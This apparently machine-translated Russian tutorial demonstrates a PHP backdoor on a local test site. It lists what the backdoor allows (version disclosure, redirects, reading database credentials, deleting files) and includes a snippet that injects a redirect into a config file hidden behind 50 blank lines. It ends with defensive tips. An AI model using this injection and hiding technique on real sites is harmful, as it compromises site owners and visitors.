Сегодня поговорим о безопасности сервера. В последние несколько дней я работал над проблемами атаки и защиты серверов, исправлял некоторые лазейки, и тем, кто пишет код, действительно следует обратить внимание на проблемы безопасности. Никогда не доверяйте пользовательскому вводу! Покажите опасность сегодня с помощью PHP-кода.
подготовка к тесту
Для имитации я настроил серверную среду локально, чтобы показать, как можно атаковать обычный веб-сайт.
Сначала измените локальный хост-файл компьютера. Его можно использовать после измененияtest.com
Имя виртуального домена обращается к локальным файлам. Каталог файлов находится в "C:\Windows\System32\drivers\etc
"
Каталог веб-сайта очень прост:
В записи веб-сайта содержится ссылка на файл конфигурации базы данных, а затем выводится предложение, имитирующее домашнюю страницу веб-сайта.
В файле конфигурации базы данных я ссылаюсь на текущий популярный файл конфигурации базы данных ThinkPHP и возвращаю массив базовой информации о базе данных, включая порт и пароль базы данных.
Следующая наша изюминка — взлом бэкдор-файлов.
Вы можете подумать, это все? Что вы можете сделать с этими несколькими строками кода?
начать смоделированную атаку
Давайте посетим наш сайт
Доступ к веб-сайту возможен в обычном режиме без каких-либо проблем
Посетите хакерский файл, вроде проблем нет
1. Вывести информацию о версии php
Теперь хакер уже знает вашу фоновую версию php, установил эти плагины и какая база данных используется для базы данных.
2. Перенаправление веб-страницы
Вы можете перейти к Baidu, что означает, что хакер настроил среду для запуска кода. Теперь через свой веб-сайт вы можете написать любую строку кода и выполнить ее.
3. Прочтите информацию о конфигурации базы данных
У вас уже есть пароль и все такое, и вы можете изменять любые данные на своем сайте, не бойтесь. четное "删库跑路
"!!
4. Удалить файлы
Смотреть:1.txt
Файл был удален
Вы можете удалить файлы на своем сайте
5. Измените файл
?config=
// 读取数据库配置文件
$info=file_get_contents("Conf/db.php");
// 设置很多个换行符号
$change=str_repeat("\r\n",50);
// 用空格代替<?php
$file= str_replace("<?php","",$info);
// 你想添加的任何功能都可以写在下面
$extCode="header('location:http://www.baidu.com');";
...
// 最后组合起来,保存回去
file_put_contents("Conf/db.php","<?php".$change.$extCode.$file);
Давайте посмотрим, как изменился ваш файл db.php.
Добавьте много новых строк в заголовок файла, вы думаете, что файл пуст, на самом деле он добавил в файл строку кода перехода, независимо от того, как другие посещают ваш сайт, он перейдет на сайт, который он написал.
Окончание атаки
Вы удивляетесь, когда видите это? Без паники: как нам подготовиться?
- Не доверяйте вводу пользователя! Не доверяйте вводу пользователя! Не доверяйте вводу пользователя!
- Фильтрация должна выполняться до получения пользовательского ввода;
- На сервере задайте права доступа к файлам, не каждый файл может выполнить разрешение сценария;
- Или добавьте функцию защиты от несанкционированного доступа;
- Или измените группу безопасности вашего сервера, измените порты по умолчанию, такие как 22, 21 и т. д., не открывайте все порты;
- Просканировать весь сайт на наличие троянов.
😜😜😜😜😜😜😜
Желаю вам счастливой жизни, усердно учитесь и сопротивляйтесь всем вредоносным атакам!
😜😜😜😜😜😜😜